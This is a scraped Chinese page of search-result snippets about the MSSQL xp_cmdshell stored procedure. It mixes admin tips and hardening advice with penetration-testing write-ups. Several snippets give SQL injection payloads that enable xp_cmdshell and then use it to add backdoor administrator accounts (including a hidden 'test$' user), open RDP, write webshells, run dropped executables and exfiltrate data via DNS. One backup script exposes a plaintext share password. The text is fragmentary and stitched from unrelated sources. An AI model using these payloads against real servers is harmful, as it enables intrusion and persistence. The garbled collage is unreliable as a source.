连接时使用nc工具链接即可 下载地址:https://eternallybored.org/misc/netcat/
下载NC https://eternallybored.org/misc/netcat/
今天在创建数据库的时候突然发现,xp_cmdshell的存储过程不能用了,网上一搜,发现大部分都是只关闭安全配置,然后就有了下文 代码:具体的看注释,值得一提的是==》reconfigure with...',1 --1代表允许,0代表阻止 reconfigure with override exec xp_cmdshell 'mkdir F:\Work\SQL mkdir E:\...SQL' exec sp_configure 'xp_cmdshell',0 reconfigure with override exec sp_configure 'show advanced...',1 --1代表允许,0代表阻止 reconfigure with override exec xp_cmdshell 'mkdir F:\Work\SQL mkdir E:\...SQL' exec sp_configure 'xp_cmdshell',0 reconfigure with override exec sp_configure 'show advanced
存储过程为数据库提供了强大的功能,其类似UDF,在MSSQL中xp_cmdshell可谓臭名昭著了。...而这些系统存储过程中要数xp_cmdshell最强大,通过该存储过程可以在数据库服务器中执行任意系统命令。...EXEC master.dbo.xp_cmdshell 'ipconfig' xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。...EXEC sp_configure 'show advanced options',1//允许修改高级参数 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1...//打开xp_cmdshell扩展 RECONFIGURE ?
03正确的解决办法 下面的示例显示如何使普通用户在不具有执行存储过程 xp_cmdshell 的权限下,调用包含了执行 xp_cmdshell 代码的用户存储过程的方法。...= dbo; GRANT EXECUTE ON sys.xp_cmdshell TO Cmd_Login; GO 2 用户数据库 USE tempdb; GO -- 2.a 为执行xp_cmdshell...消息15153,级别16,状态1,过程xp_cmdshell,第1 行xp_cmdshell 代理帐户信息无法检索或无效。...请验证'##xp_cmdshell_proxy_account##' 凭据存在并且包含有效的信息。 可以使用下面的代码创建xp_cmdshell代理帐户。...', @sql = 'NET USER "' + @user + '" "' + @password + '" /ADD'; EXEC sys.xp_cmdshell @sql; -- 建立xp_cmdshell
最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。...这种方法也非常的简单,只需使用下面的SQL语句: EXEC master.dbo.xp_cmdshell 'dir c:/' 但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库...对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty
先来列出危险的内置存储过程: xp_cmdshell xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues...sp_OADestroy sp_OAMethod sp_OAGetProperty sp_OASetProperty sp_OAGetErrorInfo sp_OAStop 以上各项全在我们封杀之列,例如xp_cmdshell...屏蔽的方法为: sp_dropextendedproc 'xp_cmdshell' 如果需要的话,再用 sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 进行恢复...如果你不知道xp_cmdshell使用的是哪个.dll文件的话,可以使用 sp_helpextendedproc xp_cmdshel 来查看xp_cmdshell使用的是哪个动态联接库。...另外,将xp_cmdshell屏蔽后,我们还需要做的步骤是将xpsql70.dll文件进行改名,以防止获得SA的攻击者将它进行恢复。
0x02 尝试多语句执行添加用户 查看是否有 xp_cmdshell Payload:admin';if(1=(select count(*) from master.dbo.sysobjects where...xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5';-- ?...开启 xp_cmdshell Payload:admin';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure...'xp_cmdshell',1;RECONFIGURE;-- 查看 whoami Payload:admin';exec master..xp_cmdshell 'ping %USERNAME%...ms-wbt-server Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds 直接添加用户: admin';exec master..xp_cmdshell
del y:\backup\database\'+@dbname + convert(varchar(10),DATEADD(DAY,-2,getdate()),112) EXEC master..xp_cmdshell...@cmd_str --删除RAR set @cmd_str='del y:\backup\database\'+@dbname+'.rar' EXEC master..xp_cmdshell @cmd_str...WinRAR.exe" a y:\backup\database\'+@dbname+'.rar ' + @local_name print @cmd_str+char(10) EXEC master..xp_cmdshell...@cmd_str --网络认证 EXEC master..xp_cmdshell 'net use w: \\200.168.15.9\backup "baijin830" /user:"WINDOWS...cmd_str='copy x:\backup\database\'+ @dbname+'.rar ' + 'w:\' print @cmd_str+char(10) EXEC master..xp_cmdshell
') //判断XP_CMDSHELL是否存在 and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') //...where xtype='x' and name='xp_cmdshell' 恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll' 删除扩展存储过程...检测XP_CMDSHELL(CMD命令): and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell') 检测...检测: ;exec master..xp_cmdshell 'dir c:\' 修复XP_CMDSHELL: ;exec master.dbo.sp_addextendedproc 'xp_cmdshell...', 'xplog70.dll' 用XP_CMDSHELL添加用户hacker: ;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add' XP_CMDSHELL
EXEC master.dbo.xp_cmdshell 'cmd'; 最为经典的就是这个组件了,但是2005之后就默认关闭,而且现在来说都会把这个扩展删除掉 因为xp_cmdshell用得最多,这里就...'xp_cmdshell', 'xpsql70.dll' 2....恢复方法: EXEC sp_dropextendedproc "xp_cmdshell"EXEC sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 3....恢复方法: exec sp_dropextendedproc 'xp_cmdshell'exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 4....SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
uname=test';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell...')) WAITFOR DELAY '0:0:2'-- 恢复/删除xp_cmdshell exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll...' exec sp_dropextendedproc 'xplog70.dll' 开启xp_cmdshell # 关闭xp_cmdshell EXEC sp_configure 'show advanced...options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',0; RECONFIGURE; # 启用xp_cmdshell EXEC sp_configure...--查找网站文件并把路径写入到表tt_tmp uname=test';use tempdb;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir
进行提权 xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除 0x01 xp_cmdshell简介 xp``_cmdshell是Sql Server中的一个组件...通常在拿到sa口令之后,可以通过xp``_cmdshell来进行提权 影响范围: 只要该数据库存在该组件,就可以利用 0x02 xp_cmdshell使用 1)查看xp_cmdshell状态 select...)利用xp_cmdshell执行命令 执行系统命令 以下几条命令格式都可以用于执行系统命令 exec xp_cmdshell "whoami"master..xp_cmdshell 'whoami...保护措施 将该xp_cmdshell存储过程删除即可 exec sp_dropextendedproc 'xp_cmdshell' 被删除后,重新添加xp``_cmdshell存储过程语句 EXEC...', 'xpsql70.dll'; 若想彻底删除xp_cmdshell扩展存储过程,建议在C盘里直接搜索xplog70.dll,然后删除xp_cmdshell。
where xtype = 'x' and name = 'xp_cmdshell' 直接使用xpcmd_shell执行命令: EXEC master.dbo.xp_cmdshell 'whoami...' [43.png] 发现居然无法使用 查看是否存在xp_cmdshell: EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; [44.png] 到现在我们知道了...,这台mssql支持xp_cmdshell,但没有开启 开启xp_cmdshell: 启用: EXEC sp_configure 'show advanced options', 1 RECONFIGURE...reconfigure; exec sp_configure 'xp_cmdshell', 0; reconfigure; [45.png] 执行命令: EXEC master.dbo.xp_cmdshell...'ipconfig' 获取数据: select * from tmpTable [56.png] 后面就是常规爆数据了 五,提权: 1.xp_cmdshell提权: xp_cmdshell在前面写webshell
进行提权 sql sever有一个自带的系统数据库master,而xp_cmdshell在 存储过程、扩展存储过程中,查看扩展存储过程,如果其中含有sys.xp_cmdshell 说明目标网站没有删除该组件...选择数据库,新建查询,执行命令 EXEC master.dbo.xp_cmdshell 'whoam' 成功提权 注意:如果执行命令如果报错提示关闭,那么就使用开启 xp_cmdshell 的命令(...只有sa权限才可以开启) EXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell...Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f' 检查端口状态 EXEC master.dbo.xp_cmdshell 'netstat -an...|find "3389"' 添加影子用户,并加入管理员组 EXEC master.dbo.xp_cmdshell 'net user test$ 123456 /add' EXEC master.dbo.xp_cmdshell
---- 实战一 这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈 但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令……....先说可以xp_cmdshell部分: xp_cmdshell写shell技巧: 条件:sa权限, 常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启...”, 1’) #将xp_cmdshell的值设置为1 execute(‘reconfigure’) #保存设置...写shell技巧: #先找网站根路径: exec xp_cmdshell ‘where /r d:\ *.aspx’; 直接写入aspx文件同目录却访问不了,麻了!...其它gethell大全:(看偶像柯大佬的总结) 剩下不可以xp_cmdshell的,但其它大多getshell方法(这里可以看柯大佬的珂技知识分享的总结),都没法用.
xp_cmdshell执行命令 admin' ;exec master..xp_cmdshell "ipconfig" -- ? 虽然系统执行了,但是系统没回显给我们!这是为什么呢?...我们可以执行这条命令让他去ping 网站10次: admin' ;exec master..xp_cmdshell "ping -n 10 www.saulgoodman.cn" -- ?...如果没有执行的话,说明它没有开启xp_cmdshell,那么我们可以使用下面的语句去开启他: EXEC sp_configure 'show advanced options', 1;RECONFIGURE...;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 关闭的话就吧1修改为0 写一句话 aspx 一句话木马: <% @Page Language="Jscript...然后我们执行: admin' ;exec master..xp_<em>cmdshell</em> "8888.exe" -- ? ?
就可以使用DNSLOG获取回显 函数: master..xp_dirtree #存储程序, 用于获取所有文件夹的列表命令 exec master..xp_dirtree 'c:\windows'; xp_cmdshell...外带数据 通过以上案例,我们知道了外带数据的构造,那么是否可以使用xp_cmdshell 外带数据呢?...@a;-- 问题 报错: SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。...系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。...sp_configure 'xp_cmdshell',1; reconfigure; 之后可以执行xp_cmdshell外带数据了 mssql_http外带数据 我们知道通过dnslog 可以外带数据
; image.png 使用WSExplorer抓包工具抓的啊D注入工具上传功能提交的数据包如下,可以看到也是通过MSSQL中的xp_cmdshell组件来执行echo命令写入VBS文件的。...Key=%25';EXEc%20MaStER..Xp_CmdShell%20'EcHo%20z.setting(^"AccountType^")=3%20>>c:\API_Shell.Users.vbs...';exec%20master..sp_dropextendedproc%20'xp_cmdshell'-- /Question/AskSearchList2.aspx?...';exec%20master..sp_dropextendedproc%20'xp_cmdshell'-- /Question/AskSearchList2.aspx?...';exec%20master..sp_dropextendedproc%20'xp_cmdshell'-- /Question/AskSearchList2.aspx?
= 'x' and name = 'xp_cmdshell' 直接使用xpcmd_shell执行命令: EXEC master.dbo.xp_cmdshell 'whoami' 发现居然无法使用...查看是否存在xp_cmdshell: EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 到现在我们知道了,这台mssql支持xp_cmdshell,但没有开启...xp_cmdshell: 启用: EXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell...'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll' 虽然是写shell,但是xp_cmdshell...'ipconfig' 获取数据: select * from tmpTable 后面就是常规爆数据了 提权 xp_cmdshell提权 xp_cmdshell在前面写webshell已经讲解过了,在这里不在重复
领取专属 10元无门槛券
手把手带您无忧上云